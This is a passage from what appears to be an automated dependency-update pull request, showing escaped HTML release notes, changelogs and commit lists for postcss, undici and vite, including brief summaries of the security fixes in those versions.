href=\"https://github.com/TharVid\"\u003e\u003ccode\u003e@​TharVid\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.9\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eSpeed up source map encoding paring in case of the error.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.8\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003eProcessor#version\u003c/code\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.7\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImproved source map annotation cleaning performance (by CodeAnt AI).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.6\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003eContainerWithChildren\u003c/code\u003e type discriminating (by \u003ca href=\"https://github.com/Goodwine\"\u003e\u003ccode\u003e@​Goodwine\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.5\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003epackage.json\u003c/code\u003e→\u003ccode\u003eexports\u003c/code\u003e compatibility with some tools (by \u003ca href=\"https://github.com/JounQin\"\u003e\u003ccode\u003e@​JounQin\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.4\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed Parcel compatibility issue (by \u003ca href=\"https://github.com/git-sumitchaudhary\"\u003e\u003ccode\u003e@​git-sumitchaudhary\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.3\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAdded more details to \u003ccode\u003eUnknown word\u003c/code\u003e error (by \u003ca href=\"https://github.com/hiepxanh\"\u003e\u003ccode\u003e@​hiepxanh\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed types (by \u003ca href=\"https://github.com/romainmenke\"\u003e\u003ccode\u003e@​romainmenke\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed docs (by \u003ca href=\"https://github.com/catnipan\"\u003e\u003ccode\u003e@​catnipan\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.2\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed end position of rules with semicolon (by \u003ca href=\"https://github.com/romainmenke\"\u003e\u003ccode\u003e@​romainmenke\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.1\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed backwards compatibility for complex cases (by \u003ca href=\"https://github.com/romainmenke\"\u003e\u003ccode\u003e@​romainmenke\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5 “Duke Alloces”\u003c/h2\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003cp\u003ePostCSS 8.5 brought API to work better with non-CSS sources like HTML, Vue.js/Svelte sources or CSS-in-JS.\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/romainmenke\"\u003e\u003ccode\u003e@​romainmenke\u003c/code\u003e\u003c/a\u003e during \u003ca href=\"https://redirect.github.com/postcss/postcss/issues/1995\"\u003ehis work\u003c/a\u003e on \u003ca href=\"https://stylelint.io\"\u003eStylelint\u003c/a\u003e added \u003ccode\u003eInput#document\u003c/code\u003e in additional to \u003ccode\u003eInput#css\u003c/code\u003e.\u003c/p\u003e\n\u003cpre lang=\"js\"\u003e\u003ccode\u003eroot.source.input.document //=\u0026gt; \u0026quot;\u0026lt;p\u0026gt;Hello\u0026lt;/p\u0026gt;\r\n                           //    \u0026lt;style\u0026gt;\r\n                           //    p {\r\n                           //      color: green;\r\n                           //    }\r\n                           //    \u0026lt;/style\u0026gt;\u0026quot;\r\nroot.source.input.css      //=\u0026gt; \u0026quot;p {\r\n                           //      color: green;\r\n                           //    }\u0026quot;\r\n\u003cp\u003e\u0026lt;/tr\u0026gt;\u0026lt;/table\u0026gt;\u003cbr /\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/postcss/postcss/blob/main/CHANGELOG.md\"\u003epostcss's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e8.5.10\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed XSS via unescaped \u003ccode\u003e\u0026lt;/style\u0026gt;\u003c/code\u003e in non-bundler cases (by \u003ca href=\"https://github.com/TharVid\"\u003e\u003ccode\u003e@​TharVid\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.9\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eSpeed up source map encoding paring in case of the error.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.8\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003eProcessor#version\u003c/code\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.7\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImproved source map annotation cleaning performance (by CodeAnt AI).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.6\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003eContainerWithChildren\u003c/code\u003e type discriminating (by \u003ca href=\"https://github.com/Goodwine\"\u003e\u003ccode\u003e@​Goodwine\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.5\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003epackage.json\u003c/code\u003e→\u003ccode\u003eexports\u003c/code\u003e compatibility with some tools (by \u003ca href=\"https://github.com/JounQin\"\u003e\u003ccode\u003e@​JounQin\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.4\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed Parcel compatibility issue (by \u003ca href=\"https://github.com/git-sumitchaudhary\"\u003e\u003ccode\u003e@​git-sumitchaudhary\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.3\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAdded more details to \u003ccode\u003eUnknown word\u003c/code\u003e error (by \u003ca href=\"https://github.com/hiepxanh\"\u003e\u003ccode\u003e@​hiepxanh\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed types (by \u003ca href=\"https://github.com/romainmenke\"\u003e\u003ccode\u003e@​romainmenke\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed docs (by \u003ca href=\"https://github.com/catnipan\"\u003e\u003ccode\u003e@​catnipan\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.2\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed end position of rules with semicolon (by \u003ca href=\"https://github.com/romainmenke\"\u003e\u003ccode\u003e@​romainmenke\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.1\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed backwards compatibility for complex cases (by \u003ca href=\"https://github.com/romainmenke\"\u003e\u003ccode\u003e@​romainmenke\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5 “Duke Alloces”\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAdded \u003ccode\u003eInput#document\u003c/code\u003e for sources like CSS-in-JS or HTML (by \u003ca href=\"https://github.com/romainmenke\"\u003e\u003ccode\u003e@​romainmenke\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.4.49\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed custom syntax without \u003ccode\u003esource.offset\u003c/code\u003e (by \u003ca href=\"https://github.com/romainmenke\"\u003e\u003ccode\u003e@​romainmenke\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/33b9790263dc1562a46ce45d9532bd63e95b7986\"\u003e\u003ccode\u003e33b9790\u003c/code\u003e\u003c/a\u003e Release 8.5.10 version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/536c79e4b01e58a3a56b09c3c0cf2323f4b9a28b\"\u003e\u003ccode\u003e536c79e\u003c/code\u003e\u003c/a\u003e Escape \u0026lt;/style\u0026gt; in CSS output (\u003ca href=\"https://redirect.github.com/postcss/postcss/issues/2074\"\u003e#2074\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/afa96b2a139ce625c4d27973313479c7c85f39d4\"\u003e\u003ccode\u003eafa96b2\u003c/code\u003e\u003c/a\u003e Update dependencies (\u003ca href=\"https://redirect.github.com/postcss/postcss/issues/2073\"\u003e#2073\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/effe88bb87cabdc1876e02adbdd30f392f19f40d\"\u003e\u003ccode\u003eeffe88b\u003c/code\u003e\u003c/a\u003e Typo (\u003ca href=\"https://redirect.github.com/postcss/postcss/issues/2072\"\u003e#2072\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/3ee79a2c4a11e41d52db50b444eebe38299495ad\"\u003e\u003ccode\u003e3ee79a2\u003c/code\u003e\u003c/a\u003e Thread model (\u003ca href=\"https://redirect.github.com/postcss/postcss/issues/2071\"\u003e#2071\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/2e0683daca4dc2919211b03774f6b2d137136c01\"\u003e\u003ccode\u003e2e0683d\u003c/code\u003e\u003c/a\u003e Create incident response docs (\u003ca href=\"https://redirect.github.com/postcss/postcss/issues/2070\"\u003e#2070\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/fe88ac29c06b7b218be32994cdc6ca1525bdf2c9\"\u003e\u003ccode\u003efe88ac2\u003c/code\u003e\u003c/a\u003e Release 8.5.9 version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/c551632496b87ab3f1965bfda5dc386b6c71963e\"\u003e\u003ccode\u003ec551632\u003c/code\u003e\u003c/a\u003e Avoid RegExp when we can use simple JS\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/89a6b744060eb8dee743351c785a9fbe37d4525a\"\u003e\u003ccode\u003e89a6b74\u003c/code\u003e\u003c/a\u003e Move SECURITY.txt for docs folder to keep GitHub page cleaner\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/6ceb8a46af9f9de821faee98f861bdf84617347b\"\u003e\u003ccode\u003e6ceb8a4\u003c/code\u003e\u003c/a\u003e Create SECURITY.md\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/postcss/postcss/compare/8.4.33...8.5.10\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `undici` from 5.28.2 to 6.27.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/nodejs/undici/releases\"\u003eundici's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev6.27.0\u003c/h2\u003e\n\u003ch1\u003e⚠️ Security Release\u003c/h1\u003e\n\u003cp\u003eThis release line addresses \u003cstrong\u003e4 security advisories\u003c/strong\u003e.\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e\u003cstrong\u003eAction required:\u003c/strong\u003e Upgrade to \u003cstrong\u003eundici 6.27.0\u003c/strong\u003e or later.\u003c/p\u003e\n\u003cpre lang=\"sh\"\u003e\u003ccode\u003enpm install undici@^6.27.0\n\u003c/code\u003e\u003c/pre\u003e\n\u003c/blockquote\u003e\n\u003cblockquote\u003e\n\u003cp\u003e\u003cstrong\u003eNote on patched version:\u003c/strong\u003e the v6 fixes shipped in \u003cstrong\u003ev6.27.0\u003c/strong\u003e, not \u003ccode\u003e6.26.0\u003c/code\u003e\n— \u003ccode\u003ev6.26.0\u003c/code\u003e contains only the chunked-EOF fix (\u003ca href=\"https://redirect.github.com/nodejs/undici/issues/5308\"\u003e#5308\u003c/a\u003e) and the version bump, none\nof the security fixes below.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003eThe v6 line is \u003cstrong\u003enot\u003c/strong\u003e affected by the SOCKS5 advisories (GHSA-vmh5-mc38-953g,\nGHSA-hm92-r4w5-c3mj), the shared-cache disclosure (GHSA-pr7r-676h-xcf6), or the\n8.x-only WebSocket regression (GHSA-38rv-x7px-6hhq).\u003c/p\u003e\n\u003ch2\u003eSummary\u003c/h2\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth\u003eAdvisory\u003c/th\u003e\n\u003cth\u003eCVE\u003c/th\u003e\n\u003cth\u003eSeverity (CVSS)\u003c/th\u003e\n\u003cth\u003eFixed in\u003c/th\u003e\n\u003cth\u003eFix commit\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd\u003e\u003ca href=\"https://github.com/nodejs/undici/security/advisories/GHSA-vxpw-j846-p89q\"\u003eGHSA-vxpw-j846-p89q\u003c/a\u003e\u003c/td\u003e\n\u003ctd\u003eCVE-2026-12151\u003c/td\u003e\n\u003ctd\u003eHigh (7.5)\u003c/td\u003e\n\u003ctd\u003e6.27.0\u003c/td\u003e\n\u003ctd\u003e\u003ca href=\"https://github.com/nodejs/undici/commit/b7f252e7\"\u003e\u003ccode\u003eb7f252e7\u003c/code\u003e\u003c/a\u003e\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e\u003ca href=\"https://github.com/nodejs/undici/security/advisories/GHSA-p88m-4jfj-68fv\"\u003eGHSA-p88m-4jfj-68fv\u003c/a\u003e\u003c/td\u003e\n\u003ctd\u003eCVE-2026-9679\u003c/td\u003e\n\u003ctd\u003eModerate (5.9)\u003c/td\u003e\n\u003ctd\u003e6.27.0\u003c/td\u003e\n\u003ctd\u003e\u003ca href=\"https://github.com/nodejs/undici/commit/25efa447\"\u003e\u003ccode\u003e25efa447\u003c/code\u003e\u003c/a\u003e\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e\u003ca href=\"https://github.com/nodejs/undici/security/advisories/GHSA-g8m3-5g58-fq7m\"\u003eGHSA-g8m3-5g58-fq7m\u003c/a\u003e\u003c/td\u003e\n\u003ctd\u003eCVE-2026-11525\u003c/td\u003e\n\u003ctd\u003eLow (3.7)\u003c/td\u003e\n\u003ctd\u003e6.27.0\u003c/td\u003e\n\u003ctd\u003e\u003ca href=\"https://github.com/nodejs/undici/commit/25efa447\"\u003e\u003ccode\u003e25efa447\u003c/code\u003e\u003c/a\u003e\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e\u003ca href=\"https://github.com/nodejs/undici/security/advisories/GHSA-35p6-xmwp-9g52\"\u003eGHSA-35p6-xmwp-9g52\u003c/a\u003e\u003c/td\u003e\n\u003ctd\u003eCVE-2026-6733\u003c/td\u003e\n\u003ctd\u003eLow (3.7)\u003c/td\u003e\n\u003ctd\u003e6.27.0\u003c/td\u003e\n\u003ctd\u003e\u003ca href=\"https://github.com/nodejs/undici/commit/f4c31d60\"\u003e\u003ccode\u003ef4c31d60\u003c/code\u003e\u003c/a\u003e\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003chr /\u003e\n\u003ch2\u003eHigh severity\u003c/h2\u003e\n\u003ch3\u003eWebSocket DoS via fragment count bypass — CVE-2026-12151\u003c/h3\u003e\n\u003cp\u003e\u003cstrong\u003e\u003ca href=\"https://github.com/nodejs/undici/security/advisories/GHSA-vxpw-j846-p89q\"\u003eGHSA-vxpw-j846-p89q\u003c/a\u003e\u003c/strong\u003e · CWE-400, CWE-770\n\u003cstrong\u003eFix:\u003c/strong\u003e \u003ca href=\"https://github.com/nodejs/undici/commit/b7f252e7\"\u003e\u003ccode\u003eb7f252e7\u003c/code\u003e\u003c/a\u003e \u003cem\u003eBackport WebSocket maxPayloadSize fixes\u003c/em\u003e (\u003ca href=\"https://redirect.github.com/nodejs/undici/pull/5423\"\u003e#5423\u003c/a\u003e, backported to v6 in \u003ca href=\"https://redirect.github.com/nodejs/undici/pull/5428\"\u003e#5428\u003c/a\u003e)\u003c/p\u003e\n\u003cp\u003eA malicious WebSocket server can stream a large number of small or empty\ncontinuation frames. Undici enforced a limit on cumulative payload size but did\nnot limit the \u003cem\u003enumber\u003c/em\u003e of fragments per message, leading to unbounded memory\ngrowth and denial of service. All releases from 6.17.0 onward are affected.\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eAffected:\u003c/strong\u003e applications using \u003ccode\u003enew WebSocket(...)\u003c/code\u003e or \u003ccode\u003eWebSocketStream\u003c/code\u003e\nagainst untrusted endpoints.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eWorkaround:\u003c/strong\u003e none — upgrade is required.\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr /\u003e\n\u003ch2\u003eModerate severity\u003c/h2\u003e\n\u003ch3\u003eHTTP header injection via Set-Cookie percent-decoding — CVE-2026-9679\u003c/h3\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nodejs/undici/commit/551138cbc1742c92242a68216167761075e8a82c\"\u003e\u003ccode\u003e551138c\u003c/code\u003e\u003c/a\u003e Bumped v6.27.0 (\u003ca href=\"https://redirect.github.com/nodejs/undici/issues/5431\"\u003e#5431\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nodejs/undici/commit/b7f252e7c0841418fb9d95cd297bdd9fad9d2a53\"\u003e\u003ccode\u003eb7f252e\u003c/code\u003e\u003c/a\u003e Backport WebSocket maxPayloadSize fixes to v7.x (\u003ca href=\"https://redirect.github.com/nodejs/undici/issues/5423\"\u003e#5423\u003c/a\u003e) (\u003ca href=\"https://redirect.github.com/nodejs/undici/issues/5428\"\u003e#5428\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nodejs/undici/commit/25efa447997f74d5881edd144525c3fd7db945a4\"\u003e\u003ccode\u003e25efa44\u003c/code\u003e\u003c/a\u003e fix(cookies): preserve values and parse SameSite strictly\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nodejs/undici/commit/f4c31d60c42d0385bca6ad602c112706b0695212\"\u003e\u003ccode\u003ef4c31d6\u003c/code\u003e\u003c/a\u003e fix: guard idle socket validation to skip fresh sockets (\u003ca href=\"https://redirect.github.com/nodejs/undici/issues/5400\"\u003e#5400\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nodejs/undici/commit/768beacd331786c6a1ca61dd81938fca041a45b5\"\u003e\u003ccode\u003e768beac\u003c/code\u003e\u003c/a\u003e Bumped v6.26.0 (\u003ca href=\"https://redirect.github.com/nodejs/undici/issues/5323\"\u003e#5323\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nodejs/undici/commit/7917b254484132f848fb785afbc398b1cfba389f\"\u003e\u003ccode\u003e7917b25\u003c/code\u003e\u003c/a\u003e fix: validate EOF for chunked h1 responses (\u003ca href=\"https://redirect.github.com/nodejs/undici/issues/5308\"\u003e#5308\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nodejs/undici/commit/3420499cad88e72e04972b7bb28dd9f2ec2638ac\"\u003e\u003ccode\u003e3420499\u003c/code\u003e\u003c/a\u003e Bumped v6.25.0 (\u003ca href=\"https://redirect.github.com/nodejs/undici/issues/5029\"\u003e#5029\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nodejs/undici/commit/d7a1e55fbe9607e8b56a10b4be129ca63d16014b\"\u003e\u003ccode\u003ed7a1e55\u003c/code\u003e\u003c/a\u003e feat: add configurable maxPayloadSize for WebSocket (\u003ca href=\"https://redirect.github.com/nodejs/undici/issues/4955\"\u003e#4955\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nodejs/undici/commit/a9d1848fa18d351813e9563bb7653acf1e3c60ad\"\u003e\u003ccode\u003ea9d1848\u003c/code\u003e\u003c/a\u003e Do not mark v6.x releases as latest\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nodejs/undici/commit/01265866974369f75f939109969097e45e72b1e1\"\u003e\u003ccode\u003e0126586\u003c/code\u003e\u003c/a\u003e Ignore local agent configuration files\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/nodejs/undici/compare/v5.28.2...v6.27.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by \u003ca href=\"https://www.npmjs.com/~GitHub%20Actions\"\u003eGitHub Actions\u003c/a\u003e, a new releaser for undici since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eInstall script changes\u003c/summary\u003e\n\u003cp\u003eThis version modifies \u003ccode\u003eprepare\u003c/code\u003e script that runs during installation. Review the package contents before updating.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `vite` from 4.5.2 to 6.4.3\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vitejs/vite/releases\"\u003evite's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev6.4.3\u003c/h2\u003e\n\u003cp\u003ePlease refer to \u003ca href=\"https://github.com/vitejs/vite/blob/v6.4.3/packages/vite/CHANGELOG.md\"\u003eCHANGELOG.md\u003c/a\u003e for details.\u003c/p\u003e\n\u003ch2\u003ev6.4.2\u003c/h2\u003e\n\u003cp\u003ePlease refer to \u003ca href=\"https://github.com/vitejs/vite/blob/v6.4.2/packages/vite/CHANGELOG.md\"\u003eCHANGELOG.md\u003c/a\u003e for details.\u003c/p\u003e\n\u003ch2\u003ev6.4.1\u003c/h2\u003e\n\u003cp\u003ePlease refer to \u003ca href=\"https://github.com/vitejs/vite/blob/v6.4.1/packages/vite/CHANGELOG.md\"\u003eCHANGELOG.md\u003c/a\u003e for details.\u003c/p\u003e\n\u003ch2\u003ev6.4.0\u003c/h2\u003e\n\u003cp\u003ePlease refer to \u003ca href=\"https://github.com/vitejs/vite/blob/v6.4.0/packages/vite/CHANGELOG.md\"\u003eCHANGELOG.md\u003c/a\u003e for details.\u003c/p\u003e\n\u003ch2\u003ev6.3.7\u003c/h2\u003e\n\u003cp\u003ePlease refer to \u003ca href=\"https://github.com/vitejs/vite/blob/v6.3.7/packages/vite/CHANGELOG.md\"\u003eCHANGELOG.md\u003c/a\u003e for details.\u003c/p\u003e\n\u003ch2\u003ev5.4.21\u003c/h2\u003e\n\u003cp\u003ePlease refer to \u003ca href=\"https://github.com/vitejs/vite/blob/v5.4.21/packages/vite/CHANGELOG.md\"\u003eCHANGELOG.md\u003c/a\u003e for details.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vitejs/vite/blob/v6.4.3/packages/vite/CHANGELOG.md\"\u003evite's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e\u003c!-- raw HTML omitted --\u003e6.4.3 (2026-06-01)\u003c!-- raw HTML omitted --\u003e\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: backport \u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/22572\"\u003e#22572\u003c/a\u003e, reject windows alternate paths (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/22576\"\u003e#22576\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/96b0c10162e9c55485d922db2cfc6b8227cbc176\"\u003e96b0c10\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/vitejs/vite/issues/22572\"\u003e#22572\u003c/a\u003e \u003ca href=\"https://redirect.github.com/vitejs/vite/issues/22576\"\u003e#22576\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(deps): backport \u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/22571\"\u003e#22571\u003c/a\u003e, reject UNC paths for launch-editor-middleware (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/22575\"\u003e#22575\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/8fed5cf540c0d475266787f52072f258478cd42f\"\u003e8fed5cf\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/vitejs/vite/issues/22571\"\u003e#22571\u003c/a\u003e \u003ca href=\"https://redirect.github.com/vitejs/vite/issues/22575\"\u003e#22575\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003c!-- raw HTML omitted --\u003e6.4.2 (2026-04-06)\u003c!-- raw HTML omitted --\u003e\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: apply server.fs check to env transport (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/22159\"\u003e#22159\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/22163\"\u003e#22163\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/fe28e47e9463e4c9619f94bfa06d2f8f1411b44b\"\u003efe28e47\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/vitejs/vite/issues/22159\"\u003e#22159\u003c/a\u003e \u003ca href=\"https://redirect.github.com/vitejs/vite/issues/22163\"\u003e#22163\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: avoid path traversal with optimize deps sourcemap handler (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/22161\"\u003e#22161\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/ca4da5d1fb45c9cfdce606aa30825095791b164b\"\u003eca4da5d\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/vitejs/vite/issues/22161\"\u003e#22161\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003c!-- raw HTML omitted --\u003e6.4.1 (2025-10-20)\u003c!-- raw HTML omitted --\u003e\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix(dev): trim trailing slash before \u003ccode\u003eserver.fs.deny\u003c/code\u003e check (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/20968\"\u003e#20968\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/20969\"\u003e#20969\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/1114b5d7ea03e26572708715343bec69db4536e8\"\u003e1114b5d\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/vitejs/vite/issues/20968\"\u003e#20968\u003c/a\u003e \u003ca href=\"https://redirect.github.com/vitejs/vite/issues/20969\"\u003e#20969\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e6.4.0 (2025-10-15)\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: allow passing down resolved config to vite's createServer (\u003ca 